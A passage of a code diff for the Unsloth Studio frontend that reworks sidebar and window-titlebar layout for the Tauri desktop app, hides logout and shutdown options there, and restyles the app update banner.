+                  <span className="font-heading text-[21px] font-semibold tracking-[0em] leading-none text-black dark:text-white dark:tracking-[0.02em]">
+                    unsloth
+                  </span>
+                  <span className="nav-badge ml-0.5 inline-flex items-center justify-center rounded-full border border-nav-beta-border px-[5px] pt-[3px] pb-[2px] text-[8px] font-medium leading-none tracking-[0.04em] text-nav-fg-muted antialiased subpixel-antialiased shadow-[0_1px_2px_rgba(0,0,0,0.06)] dark:shadow-[0_1px_2px_rgba(0,0,0,0.35)]">
+                    {t("shell.beta")}
+                  </span>
+                </Link>
+              )}
+              {!isMobile && (
+                <Tooltip>
+                  <TooltipPrimitive.Trigger asChild>
+                    <button
+                      type="button"
+                      onClick={togglePinned}
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      aria-label={t("shell.aria.closeSidebar")}
+                    >
+                      <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
+                    </button>
+                  </TooltipPrimitive.Trigger>
+                  <TooltipContent
+                    side="bottom"
+                    sideOffset={6}
+                    className="tooltip-compact"
+                  >
+                    {t("shell.aria.closeSidebar")}
+                  </TooltipContent>
+                </Tooltip>
+              )}
+            </div>
+            {!isMobile && (
+              <div className="relative z-10 hidden group-data-[collapsible=icon]:flex h-[33px] items-center justify-center w-full">
+                <Tooltip>
+                  <TooltipPrimitive.Trigger asChild>
+                    <button
+                      type="button"
+                      onClick={togglePinned}
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      aria-label={t("shell.aria.openSidebar")}
+                    >
+                      <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
+                    </button>
+                  </TooltipPrimitive.Trigger>
+                  <TooltipContent
+                    side="right"
+                    sideOffset={8}
+                    className="tooltip-compact"
+                  >
+                    {t("shell.aria.openSidebar")}
+                  </TooltipContent>
+                </Tooltip>
+              </div>
+            )}
+          </>
         )}
       </SidebarHeader>
 
       {/* Uniform pl-1.5 pr-2 keeps every hover pill the same width, inset from the edge. */}
-      <SidebarGroup className="group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 pt-[9px] pb-px shrink-0">
+      <SidebarGroup
+        className={cn(
+          "group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 pb-px shrink-0",
+          showCompactMacBrand ? "pt-0" : "pt-[9px]",
+        )}
+      >
         <SidebarGroupContent>
           <SidebarMenu>
             <NavItem
@@ -1545,25 +1593,29 @@ export function AppSidebar() {
                   <HugeiconsIcon icon={HelpCircleIcon} strokeWidth={1.75} className="size-icon" />
                   <span>{t("common.help")}</span>
                 </DropdownMenuItem>
-                <DropdownMenuItem
-                  onSelect={async () => {
-                    // Best-effort server revocation; ignore network errors so
-                    // the local clear still runs and the user lands on /login.
-                    try {
-                      await logout();
-                    } catch {
-                      clearAuthTokens();
-                    }
-                    void navigate({ to: "/login" });
-                  }}
-                >
-                  <HugeiconsIcon icon={Logout05Icon} strokeWidth={1.75} className="size-icon" />
-                  <span>{t("shell.navigation.logOut")}</span>
-                </DropdownMenuItem>
-                <DropdownMenuItem onSelect={() => setShutdownOpen(true)}>
-                  <HugeiconsIcon icon={PowerIcon} strokeWidth={1.75} className="size-icon" />
-                  <span>{t("common.shutdown")}</span>
-                </DropdownMenuItem>
+                {!isTauri && (
+                  <DropdownMenuItem
+                    onSelect={async () => {
+                      // Best-effort server revocation; ignore network errors so
+                      // the local clear still runs and the user lands on /login.
+                      try {
+                        await logout();
+                      } catch {
+                        clearAuthTokens();
+                      }
+                      void navigate({ to: "/login" });
+                    }}
+                  >
+                    <HugeiconsIcon icon={Logout05Icon} strokeWidth={1.75} className="size-icon" />
+                    <span>{t("shell.navigation.logOut")}</span>
+                  </DropdownMenuItem>
+                )}
+                {!isTauri && (
+                  <DropdownMenuItem onSelect={() => setShutdownOpen(true)}>
+                    <HugeiconsIcon icon={PowerIcon} strokeWidth={1.75} className="size-icon" />
+                    <span>{t("common.shutdown")}</span>
+                  </DropdownMenuItem>
+                )}
               </DropdownMenuContent>
             </DropdownMenu>
           </SidebarMenuItem>
@@ -1571,11 +1623,13 @@ export function AppSidebar() {
       </SidebarFooter>
     </Sidebar>
     <ChatSearchDialog />
-    <ShutdownDialog
-      open={shutdownOpen}
-      onOpenChange={setShutdownOpen}
-      onAfterShutdown={removeTrainingUnloadGuard}
-    />
+    {!isTauri && (
+      <ShutdownDialog
+        open={shutdownOpen}
+        onOpenChange={setShutdownOpen}
+        onAfterShutdown={removeTrainingUnloadGuard}
+      />
+    )}
     <Dialog
       open={confirmingDelete !== null}
       onOpenChange={(open) => {
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index bad9a6b7f3..a05910c29f 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -968,7 +968,9 @@ export const Thread: FC<{
             scrollToBottomOnThreadSwitch={false}
             className={cn(
               "aui-thread-viewport aui-stream-viewport relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-x-auto overflow-y-auto scroll-smooth px-5",
-              hideComposer ? "pt-4" : "pt-[48px]",
+              hideComposer
+                ? "pt-4"
+                : "pt-[calc(var(--studio-content-top-inset,0px)+48px)]",
             )}
           >
             {!hideWelcome && (
diff --git a/studio/frontend/src/components/navbar.tsx b/studio/frontend/src/components/navbar.tsx
index 716c9d791f..44387f2480 100644
--- a/studio/frontend/src/components/navbar.tsx
+++ b/studio/frontend/src/components/navbar.tsx
@@ -1,13 +1,24 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { shouldUseNativeMacWindowTitlebar } from "@/components/tauri/window-titlebar";
 import { SidebarTrigger, useSidebar } from "@/components/ui/sidebar";
+import { useState } from "react";
 
 export function Navbar() {
   const { isMobile } = useSidebar();
+  const [usesNativeMacTitlebar] = useState(shouldUseNativeMacWindowTitlebar);
   if (!isMobile) {
     return (
-      <header className="absolute top-0 inset-x-0 z-40 h-[48px] pointer-events-none" />
+      <header className="absolute top-0 inset-x-0 z-40 h-[48px] pointer-events-none">
+        {usesNativeMacTitlebar && (
+          <div
+            data-tauri-drag-region
+            aria-hidden="true"
+            className="pointer-events-auto absolute inset-x-0 top-0 h-[var(--studio-mac-titlebar-height,34px)] select-none"
+          />
+        )}
+      </header>
     );
   }
   return (
diff --git a/studio/frontend/src/components/tauri/startup-screen.tsx b/studio/frontend/src/components/tauri/startup-screen.tsx
index fd67a8a841..678051b36b 100644
--- a/studio/frontend/src/components/tauri/startup-screen.tsx
+++ b/studio/frontend/src/components/tauri/startup-screen.tsx
@@ -433,12 +433,12 @@ export function StartupScreen({
   }
 
   return (
-    <div className="flex h-full w-full flex-col items-center bg-background">
-      <div className="flex flex-1 w-full max-w-md items-center justify-center px-6">
+    <div className="box-border flex h-full w-full flex-col items-center overflow-y-auto bg-background pb-6 pt-[var(--studio-startup-top-inset,0px)]">
+      <div className="flex min-h-0 flex-1 w-full max-w-md items-center justify-center px-6">
         <AnimatePresence mode="wait">
           <motion.div
             key={status}
-            className="flex h-full w-full flex-col items-center text-center"
+            className="flex h-full w-full flex-col items-center justify-center text-center"
             initial={{ opacity: 0 }}
             animate={{ opacity: 1 }}
             exit={{ opacity: 0 }}
diff --git a/studio/frontend/src/components/tauri/update-banner.tsx b/studio/frontend/src/components/tauri/update-banner.tsx
index 62038f92a9..4fe8a54377 100644
--- a/studio/frontend/src/components/tauri/update-banner.tsx
+++ b/studio/frontend/src/components/tauri/update-banner.tsx
@@ -9,6 +9,8 @@ import type {
   UpdateStatus,
 } from "@/hooks/use-tauri-update";
 import type { CopySupportDiagnosticsResult } from "@/lib/tauri-diagnostics";
+import { cn } from "@/lib/utils";
+import { CircleAlert, Download } from "lucide-react";
 import { AnimatePresence, motion } from "motion/react";
 import { useState } from "react";
 
@@ -20,6 +22,8 @@ interface UpdateBannerProps {
   isExternalServer?: boolean;
   updatePolicyMode: DesktopUpdatePolicyMode;
   manualReleaseUrl: string | null;
+  // false fills a shared overlay stack; true self-anchors.
+  positioned?: boolean;
   onInstall: () => void;
   onDismiss: () => void;
   onCopyDiagnostics: () => Promise<CopySupportDiagnosticsResult>;
@@ -27,6 +31,11 @@ interface UpdateBannerProps {
 
 const EASE_OUT_QUART: [number, number, number, number] = [0.165, 0.84, 0.44, 1];
 
+function formatVersion(version: string | null | undefined): string {
+  if (!version) return "";
+  return version.startsWith("v") ? version : `v${version}`;
+}
+
 export function UpdateBanner({
   status,
   info,
@@ -35,6 +44,7 @@ export function UpdateBanner({
   isExternalServer = false,
   updatePolicyMode,
   manualReleaseUrl,
+  positioned = true,
   onInstall,
   onDismiss,
   onCopyDiagnostics,
@@ -49,6 +59,9 @@ export function UpdateBanner({
   const installDisabled = isManualLinuxPackage
     ? manualReleaseUrl === null
     : isExternalServer;
+  const currentVersion = formatVersion(info?.currentVersion);
+  const latestVersion = formatVersion(info?.version);
+  const Icon = showFailure ? CircleAlert : Download;
 
   async function handleCopyDiagnostics() {
     setCopying(true);
@@ -59,7 +72,10 @@ export function UpdateBanner({
         setManualMessage(null);
       } else {
         setManualReport(result.report);
-        setManualMessage(result.error ?? "Clipboard copy failed. Select and copy the diagnostics below.");
+        setManualMessage(
+          result.error ??
+            "Clipboard copy failed. Select and copy the diagnostics below.",
+        );
       }
     } catch (error) {
       setManualReport(null);
@@ -73,30 +89,60 @@ export function UpdateBanner({
     <AnimatePresence>
       {show && (
         <motion.div
-          initial={{ opacity: 0, y: -12, scale: 0.96 }}
+          initial={{ opacity: 0, y: 12, scale: 0.96 }}
           animate={{ opacity: 1, y: 0, scale: 1 }}
-          exit={{ opacity: 0, y: -8, scale: 0.97 }}
+          exit={{ opacity: 0, y: 8, scale: 0.97 }}
           transition={{ duration: 0.35, ease: EASE_OUT_QUART }}
-          className="fixed top-4 right-4 z-[9999] w-[380px]"
+          className={cn(
+            positioned
+              ? "fixed bottom-4 right-4 z-[9999] w-[calc(100vw-2rem)] max-w-[400px]"
+              : "pointer-events-auto w-full",
+          )}
+          data-testid="tauri-update-banner"
         >
-          <div className="corner-squircle relative overflow-hidden border border-border/60 bg-background/95 px-5 py-4 shadow-lg backdrop-blur-md">
+          <div className="relative overflow-hidden rounded-[24px] bg-white px-5 pb-4 pt-5 shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:bg-card dark:shadow-[0_8px_28px_-6px_rgba(0,0,0,0.28)]">
             <button
               type="button"
               onClick={onDismiss}
-              className="absolute top-3 right-3 flex size-6 items-center justify-center rounded-md text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground"
+              className="absolute top-2.5 right-3 flex size-6 items-center justify-center rounded-full text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground"
+              aria-label="Dismiss app update notification"
             >
-              <svg aria-hidden="true" width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">
-                <path d="M11 3L3 11M3 3l8 8" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" />
+              <svg
+                aria-hidden="true"
+                width="12"
+                height="12"
+                viewBox="0 0 14 14"
+                fill="none"
+                xmlns="http://www.w3.org/2000/svg"
+              >
+                <path
+                  d="M11 3L3 11M3 3l8 8"
+                  stroke="currentColor"
+                  strokeWidth="1.5"
+                  strokeLinecap="round"
+                />
               </svg>
             </button>
 
-            <div className="flex items-center gap-2">
-              <span className="text-lg">🦥</span>
-              <div>
-                <p className="text-sm font-semibold text-foreground">
-                  {showFailure ? "App update failed" : `New version: v${info?.version}`}
+            <div className="flex min-w-0 items-start gap-4 pr-6">
+              <Icon
+                aria-hidden="true"
+                className="mt-1 size-5 shrink-0 text-foreground"
+                strokeWidth={1.75}
+              />
+              <div className="min-w-0">
+                <p className="font-heading text-base font-medium text-foreground">
+                  {showFailure ? "App update failed" : "New Unsloth version"}
                 </p>
-                <p className="text-xs text-muted-foreground">
+                {showFailure ? null : (
+                  <p className="mt-0.5 text-xs text-muted-foreground">
+                    {currentVersion} &rarr;{" "}
+                    <span className="font-medium text-foreground">
+                      {latestVersion}
+                    </span>
+                  </p>
+                )}
+                <p className="mt-1 text-[11px] text-muted-foreground/70">
                   {showFailure
                     ? "Backend recovered. Diagnostics are still available."
                     : isManualLinuxPackage
@@ -114,31 +160,56 @@ export function UpdateBanner({
               </p>
             )}
 
-            <div className="mt-3 flex items-center gap-2">
+            <div className="mt-4 flex flex-wrap items-center justify-end gap-x-1 gap-y-2">
               {showFailure ? (
                 <>
-                  <Button size="sm" variant="outline" className="corner-squircle" onClick={() => {
-                    handleCopyDiagnostics().catch(console.error);
-                  }}>
-                    {copying ? "Copying..." : "Copy Diagnostics"}
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    onClick={() => {
+                      handleCopyDiagnostics().catch(console.error);
+                    }}
+                  >
+                    {copying ? "Copying..." : "Copy diagnostics"}
                   </Button>
-                  <Button size="sm" className="corner-squircle" onClick={onInstall} disabled={installDisabled}>
-                    {isManualLinuxPackage ? "Open Release Page" : "Retry Update"}
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    onClick={onDismiss}
+                  >
+                    Later
+                  </Button>
+                  <Button
+                    size="sm"
+                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+                    onClick={onInstall}
+                    disabled={installDisabled}
+                  >
+                    {isManualLinuxPackage ? "Open release page" : "Retry update"}
                   </Button>
                 </>
               ) : (
                 <>
-                  <Button size="sm" className="corner-squircle" onClick={onInstall} disabled={installDisabled}>
-                    {isManualLinuxPackage ? "Open Release Page" : "Update Now"}
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    onClick={onDismiss}
+                  >
+                    Remind me later
                   </Button>
-                  <Button size="sm" variant="outline" className="corner-squircle" disabled={true}>
-                    Release Notes
+                  <Button
+                    size="sm"
+                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+                    onClick={onInstall}
+                    disabled={installDisabled}
+                  >
+                    {isManualLinuxPackage ? "Open release page" : "Update"}
                   </Button>
                 </>
               )}
-              <Button size="sm" variant="ghost" className="corner-squircle" onClick={onDismiss}>
-                Later
-              </Button>
             </div>
             {manualMessage && (
               <p className="mt-3 text-xs text-destructive">{manualMessage}</p>
diff --git a/studio/frontend/src/components/tauri/update-screen.tsx b/studio/frontend/src/components/tauri/update-screen.tsx
index aa540b7813..3199425f69 100644
--- a/studio/frontend/src/components/tauri/update-screen.tsx
+++ b/studio/frontend/src/components/tauri/update-screen.tsx
@@ -117,12 +117,12 @@ export function UpdateScreen({
   }
 
   return (
-    <div className="flex h-full w-full items-center justify-center bg-background">
+    <div className="box-border flex h-full w-full overflow-y-auto bg-background">
       <motion.div
         initial={{ opacity: 0, y: 8 }}
         animate={{ opacity: 1, y: 0 }}
         transition={{ duration: 0.4, ease: EASE_OUT_QUART }}
-        className="flex w-full max-w-xl flex-col items-center px-6"
+        className="mx-auto flex min-h-full w-full max-w-xl flex-col items-center justify-center px-6 pb-6 pt-[var(--studio-startup-top-inset,0px)]"
       >
         <Logo />
 
diff --git a/studio/frontend/src/components/tauri/window-titlebar.tsx b/studio/frontend/src/components/tauri/window-titlebar.tsx
index 96556a7999..66efe8d74a 100644
--- a/studio/frontend/src/components/tauri/window-titlebar.tsx
+++ b/studio/frontend/src/components/tauri/window-titlebar.tsx
@@ -1,10 +1,17 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { SIDEBAR_WIDTH, SIDEBAR_WIDTH_ICON } from "@/components/ui/sidebar";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
 import { isTauri } from "@/lib/api-base";
 import { cn } from "@/lib/utils";
+import {
+  Cancel01Icon,
+  LayoutAlignLeftIcon,
+  MinusSignIcon,
+  SquareIcon,
+  SquareSquareIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
 import type { Window as TauriWindow } from "@tauri-apps/api/window";
 import {
   type MouseEvent,
@@ -56,6 +63,13 @@ export function shouldUseCustomWindowTitlebar(): boolean {
   return CUSTOM_TITLEBAR_PLATFORMS.some((token) => platform.includes(token));
 }
 
+export function shouldUseNativeMacWindowTitlebar(): boolean {
+  if (!isTauri) {
+    return false;
+  }
+  return getClientPlatform().includes("mac");
+}
+
 async function getAppWindow(): Promise<TauriWindow> {
   const { getCurrentWindow } = await import("@tauri-apps/api/window");
   return getCurrentWindow();
@@ -79,7 +93,7 @@ function WindowControlButton({
       title={label}
       onClick={onClick}
       className={cn(
-        "relative z-[80] inline-flex size-8 items-center justify-center rounded-md text-muted-foreground transition-colors hover:bg-muted/80 hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+        "relative z-[80] inline-flex size-8 items-center justify-center rounded-[10px] text-muted-foreground/90 transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
         className,
       )}
     >
@@ -88,39 +102,6 @@ function WindowControlButton({
   );
 }
 
-function MinimizeGlyph(): ReactElement {
-  return (
-    <span aria-hidden="true" className="h-px w-3.5 rounded-full bg-current" />
-  );
-}
-
-function MaximizeGlyph(): ReactElement {
-  return (
-    <span
-      aria-hidden="true"
-      className="size-3 rounded-[2px] border border-current"
-    />
-  );
-}
-
-function RestoreGlyph(): ReactElement {
-  return (
-    <span aria-hidden="true" className="relative size-3.5">
-      <span className="absolute left-0.5 top-0 size-2.5 rounded-[2px] border border-current" />
-      <span className="absolute bottom-0 right-0 size-2.5 rounded-[2px] border border-current bg-muted" />
-    </span>
-  );
-}
-
-function CloseGlyph(): ReactElement {
-  return (
-    <span aria-hidden="true" className="relative size-3.5">
-      <span className="absolute left-1/2 top-0 h-3.5 w-px -translate-x-1/2 rotate-45 rounded-full bg-current" />
-      <span className="absolute left-1/2 top-0 h-3.5 w-px -translate-x-1/2 -rotate-45 rounded-full bg-current" />
-    </span>
-  );
-}
-
 export function WindowTitlebar({
   showSidebarSurface = false,
 }: {
@@ -128,7 +109,13 @@ export function WindowTitlebar({
 }): ReactElement | null {
   const [enabled] = useState(shouldUseCustomWindowTitlebar);
   const [maximized, setMaximized] = useState(false);
-  const { pinned } = useSidebarPin();
+  const { pinned, togglePinned } = useSidebarPin();
+  const sidebarWidth = showSidebarSurface
+    ? pinned
+      ? "var(--studio-sidebar-expanded-width,17.5rem)"
+      : "var(--studio-sidebar-collapsed-width,3rem)"
+    : "0px";
+  const contentBorderLeft = `calc(${sidebarWidth} + 12px)`;
 
   const refreshMaximized = useCallback(async () => {
     if (!enabled) {
@@ -239,29 +226,113 @@ export function WindowTitlebar({
   return (
     <>
       <header
-        className="relative z-[60] flex h-[var(--studio-titlebar-height)] shrink-0 select-none items-center text-foreground"
+        className={cn(
+          "pointer-events-none absolute inset-x-0 top-0 z-[70] h-[var(--studio-custom-titlebar-height)] select-none text-foreground",
+          showSidebarSurface && "bg-sidebar text-sidebar-foreground",
+        )}
         aria-label="Window titlebar"
       >
         {showSidebarSurface && (
           <div
-            className={cn(
-              "h-full shrink-0 border-r border-sidebar-border dark:border-r-0",
-              pinned ? "bg-sidebar" : "bg-white dark:bg-background",
-            )}
-            style={{ width: pinned ? SIDEBAR_WIDTH : SIDEBAR_WIDTH_ICON }}
-            onMouseDown={handleDragMouseDown}
-            onDoubleClick={handleDragDoubleClick}
             aria-hidden="true"
+            className="pointer-events-none absolute top-full h-3 w-px -translate-x-px bg-sidebar"
+            style={{ left: sidebarWidth }}
           />
         )}
+        {showSidebarSurface && (
+          <div
+            aria-hidden="true"
+            className="pointer-events-none absolute top-full h-px bg-sidebar-border"
+            style={{ left: contentBorderLeft, right: 0 }}
+          />
+        )}
+        {showSidebarSurface && (
+          <div
+            aria-hidden="true"
+            className="pointer-events-none absolute top-full size-3 -translate-x-px rounded-tl-[12px] border-l border-t border-sidebar-border bg-background"
+            style={{ left: sidebarWidth }}
+          />
+        )}
+        {showSidebarSurface && (
+          <div
+            className={cn(
+              "pointer-events-auto absolute left-0 top-0 flex h-full min-w-0 items-center",
+              pinned ? "gap-2 px-3" : "justify-center",
+            )}
+            style={{ width: sidebarWidth }}
+            onMouseDown={handleDragMouseDown}
+            onDoubleClick={handleDragDoubleClick}
+          >
+            {pinned ? (
+              <>
+                <div className="flex min-w-0 flex-1 items-center gap-2">
+                  <img
+                    src="/rounded-512.png"
+                    alt=""
+                    aria-hidden="true"
+                    draggable={false}
+                    className="size-5 shrink-0 rounded-[6px] object-cover"
+                  />
+                  <span className="min-w-0 truncate text-[13px] font-semibold leading-none tracking-[0.01em] text-nav-fg">
+                    Unsloth Studio
+                  </span>
+                </div>
+                <button
+                  type="button"
+                  title="Collapse sidebar"
+                  aria-label="Collapse sidebar"
+                  onMouseDown={(event) => event.stopPropagation()}
+                  onDoubleClick={(event) => event.stopPropagation()}
+                  onClick={(event) => {
+                    event.stopPropagation();
+                    togglePinned();
+                  }}
+                  className="inline-flex size-8 shrink-0 items-center justify-center rounded-[10px] text-nav-icon-idle transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                >
+                  <HugeiconsIcon
+                    icon={LayoutAlignLeftIcon}
+                    strokeWidth={1.75}
+                    className="size-icon"
+                  />
+                </button>
+              </>
+            ) : (
+              <button
+                type="button"
+                title="Expand sidebar"
+                aria-label="Expand sidebar"
+                onMouseDown={(event) => event.stopPropagation()}
+                onDoubleClick={(event) => event.stopPropagation()}
+                onClick={(event) => {
+                  event.stopPropagation();
+                  togglePinned();
+                }}
+                className="inline-flex size-8 items-center justify-center rounded-[10px] transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              >
+                <img
+                  src="/rounded-512.png"
+                  alt=""
+                  aria-hidden="true"
+                  draggable={false}
+                  className="size-5 rounded-[6px] object-cover"
+                />
+                <span className="sr-only">Expand sidebar</span>
+              </button>
+            )}
+          </div>
+        )}
         <div
-          className="h-full min-w-0 flex-1 border-b border-border/35 bg-muted/35"
+          className="pointer-events-auto absolute top-0 h-full"
+          style={{
+            left: sidebarWidth,
+            right: "calc(var(--studio-window-control-inset,112px) + 0.5rem)",
+          }}
           onMouseDown={handleDragMouseDown}
           onDoubleClick={handleDragDoubleClick}
           aria-hidden="true"
         />
         <div
-          className="flex h-full shrink-0 items-center gap-0.5 border-b border-border/35 bg-muted/35 px-1"
+          className="pointer-events-auto absolute right-1 top-0 flex h-full items-center gap-0.5 px-1"
           role="toolbar"
           aria-label="Window controls"
         >
@@ -269,7 +340,11 @@ export function WindowTitlebar({
             label="Minimize window"
             onClick={() => runWindowAction((appWindow) => appWindow.minimize())}
           >
-            <MinimizeGlyph />
+            <HugeiconsIcon
+              icon={MinusSignIcon}
+              strokeWidth={1.75}
+              className="size-[15px]"
+            />
           </WindowControlButton>
           <WindowControlButton
             label={maximized ? "Restore window" : "Maximize window"}
@@ -277,14 +352,22 @@ export function WindowTitlebar({
               runWindowAction((appWindow) => appWindow.toggleMaximize())
             }
           >
-            {maximized ? <RestoreGlyph /> : <MaximizeGlyph />}
+            <HugeiconsIcon
+              icon={maximized ? SquareSquareIcon : SquareIcon}
+              strokeWidth={1.75}
+              className="size-[14px]"
+            />
           </WindowControlButton>
           <WindowControlButton
             label="Close window"
             onClick={() => runWindowAction((appWindow) => appWindow.close())}
-            className="hover:bg-destructive hover:text-destructive-foreground focus-visible:ring-destructive/70"
+            className="hover:bg-destructive/10 hover:text-destructive focus-visible:ring-destructive/70 dark:hover:bg-destructive/20"
           >
-            <CloseGlyph />
+            <HugeiconsIcon
+              icon={Cancel01Icon}
+              strokeWidth={1.75}
+              className="size-[15px]"
+            />
           </WindowControlButton>
         </div>
       </header>
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index a288a60fb6..dfd96a1e86 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -512,7 +512,7 @@ function CompareShell({
       <div className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col">
         <div
           data-tour="chat-compare-view"
-          className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col md:flex-row"
+          className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col pt-[var(--studio-content-top-inset,0px)] md:flex-row"
         >
           {children}
         </div>
@@ -650,11 +650,16 @@ function GeneralCompareHeader({
   // Controlled so the body-portaled popover can't linger over another tab off-route.
   const active = useChatActive();
   const [selectorOpen, setSelectorOpen] = useState(false);
+  const { pinned } = useSidebar();
   return (
     <div
       className={cn(
-        "flex h-[48px] shrink-0 items-start pt-[11px] gap-2 bg-background",
-        side === "left" ? "pl-12 pr-3 md:pl-2" : "pl-3 pr-12",
+        "pointer-events-none relative z-[65] flex h-[48px] shrink-0 items-start gap-2 bg-background pt-[var(--studio-chat-header-padding-top,11px)]",
+        side === "left"
+          ? pinned
+            ? "pl-12 pr-3 md:pl-2"
+            : "pl-12 pr-3 md:pl-[calc(0.5rem+max(0px,var(--studio-mac-traffic-light-inset,0px)-var(--sidebar-width-icon,3rem)))]"
+          : "pl-3 pr-[calc(3rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
       )}
     >
       <ModelSelector
@@ -667,7 +672,7 @@ function GeneralCompareHeader({
         onModelsChange={onModelsChange}
         deleteDisabled={deleteDisabled}
         variant="ghost"
-        className="max-w-[80%] !h-[34px]"
+        className="pointer-events-auto max-w-[80%] !h-[var(--studio-chat-control-height,34px)]"
         open={active && selectorOpen}
         onOpenChange={(open) => setSelectorOpen(active && open)}
       />
@@ -2049,7 +2054,7 @@ export function ChatPage({
     () => setSettingsOpen(false),
     [setSettingsOpen],
   );
-  const { isMobile } = useSidebar();
+  const { isMobile, pinned } = useSidebar();
 
   const enterCompare = useCallback(() => {
     viewBeforeCompareRef.current = { ...search };
@@ -2377,19 +2382,23 @@ export function ChatPage({
             beneath it, instead of a hard cut. */}
         {view.mode !== "compare" && (
           <div
-            aria-hidden={true}
-            className="pointer-events-none absolute left-0 right-[10px] top-[48px] z-20 h-6 bg-gradient-to-b from-background to-[rgb(from_var(--background)_r_g_b/0)]"
+            aria-hidden
+            className="pointer-events-none absolute left-0 right-[10px] top-[calc(var(--studio-content-top-inset,0px)+var(--studio-chat-header-height,48px))] z-20 h-6 bg-gradient-to-b from-background to-transparent"
           />
         )}
         <div
           className={cn(
-            "absolute top-0 left-0 right-[10px] z-30 flex h-[48px] shrink-0 items-start pt-[11px] pr-2 bg-background",
-            isMobile ? "pl-12 pr-1.5" : "pl-2",
+            "pointer-events-none absolute top-[var(--studio-content-top-inset,0px)] left-0 right-[10px] z-[66] flex h-[var(--studio-chat-header-height,48px)] shrink-0 items-start bg-background pt-[var(--studio-chat-header-padding-top,11px)] pr-[calc(0.5rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
+            isMobile
+              ? "pl-12"
+              : pinned
+                ? "pl-2"
+                : "pl-[calc(0.5rem+max(0px,var(--studio-mac-traffic-light-inset,0px)-var(--sidebar-width-icon,3rem)))]",
             view.mode === "compare" &&
-              "right-[10px] left-auto w-auto bg-transparent pl-0 pr-2",
+              "right-[10px] left-auto w-auto bg-transparent pl-0 pr-[calc(0.5rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
           )}
         >
-          <div className="flex items-center gap-1">
+          <div className="pointer-events-auto flex items-center gap-1">
             {view.mode !== "compare" && (
               <ModelSelector
                 models={models}
@@ -2409,13 +2418,23 @@ export function ChatPage({
                 triggerDataTour="chat-model-selector"
                 contentDataTour="chat-model-selector-popover"
                 showCloudIndicator={isExternalModel}
-                className="max-w-[62vw] !pr-3 sm:max-w-none !h-[34px]"
+                className="max-w-[62vw] !pr-3 sm:max-w-none !h-[var(--studio-chat-control-height,34px)]"
               />
             )}
+            {incognito && view.mode === "single" && (
+              <div className="flex h-[var(--studio-chat-control-height,34px)] shrink-0 items-center gap-1.5 self-center rounded-full bg-primary/10 px-2.5 font-medium text-[13px] text-primary">
+                <HugeiconsIcon
+                  icon={BubbleChatTemporaryIcon}
+                  strokeWidth={2}
+                  className="size-3.5"
+                />
+                <span>Temporary</span>
+              </div>
+            )}
             {view.mode !== "compare" && currentProjectId && (
               <nav
                 aria-label="Project location"
-                className="flex h-[34px] min-w-0 items-center gap-1.5 self-center text-[13.5px] tracking-nav text-muted-foreground"
+                className="flex h-[var(--studio-chat-control-height,34px)] min-w-0 items-center gap-1.5 self-center text-[13.5px] tracking-nav text-muted-foreground"
               >
                 <ProjectSwitcher
                   currentProject={currentProject}
@@ -2474,7 +2493,7 @@ export function ChatPage({
               </div>
             ) : null}
           </div>
-          <div className="ml-auto flex items-center gap-2">
+          <div className="pointer-events-auto ml-auto flex items-center gap-2">
             {view.mode === "single" && contextUsage ? (
               <ContextUsageBar
